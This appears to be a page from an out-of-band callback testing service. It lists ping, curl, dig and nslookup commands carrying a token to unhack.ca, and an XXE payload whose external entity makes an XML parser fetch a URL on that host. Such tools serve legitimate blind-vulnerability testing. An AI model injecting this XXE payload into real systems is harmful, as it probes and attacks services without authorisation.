$ ping -c1 -p 00468f8adfb3b6d0fb88cf0000257900 unhack.ca
 
$ curl http://unhack.ca/p/468f8adfb3b6d0fb88cf00002579
 
$ dig 468f8adfb3b6d0fb88cf00002579 @unhack.ca
 
$ dig 468f8adfb3b6d0fb88cf00002579.ns.unhack.ca
 
C:\> nslookup 468f8adfb3b6d0fb88cf00002579 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/468f8adfb3b6d0fb88cf00002579">]>
    <foo>&xxe;</foo>
Waiting for ping...